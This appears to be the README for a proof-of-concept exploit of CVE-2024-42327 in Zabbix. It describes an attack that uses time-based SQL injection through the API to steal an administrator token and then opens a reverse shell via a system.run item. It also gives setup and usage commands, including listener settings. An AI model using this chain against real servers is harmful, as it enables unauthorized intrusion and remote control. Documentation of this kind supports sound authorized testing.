
POC for CVE-2024-42327: Zabbix Privilege Escalation -> RCE
Proof of concept for CVE-2024-42327. The script authenticates as a non-admin API user, uses a time-based SQL injection in user.get to recover an administrator session token, and creates a system.run item that opens a reverse shell.
Zabbix fixed the issue in 6.0.32rc1, 6.4.17rc1, and 7.0.1rc1. A vulnerable account needs a role with API access.
Use this only against systems you own or are authorized to test.
netifaces and requestsnc available in PATHpython3 -m venv .venv
source .venv/bin/activate
python -m pip install netifaces requests
python3 zabbix_privesc.py \
--url https://zabbix.example/zabbix \
--username user \
--password 'password' \
--listen-ip tun0 \
--listen-port 4444
The URL is normalized to the api_jsonrpc.php endpoint. --listen-ip accepts an IPv4 address or interface name and defaults to tun0.
Token extraction uses 10 worker threads, a one-second timing threshold, and a 32-character maximum by default. Use --threads, --sleep-time, --row, and --length to adjust those values for the target. Run python3 zabbix_privesc.py --help for all options.
Successful exploitation creates an item named rce on the first host returned by host.get; remove that item after an authorized test.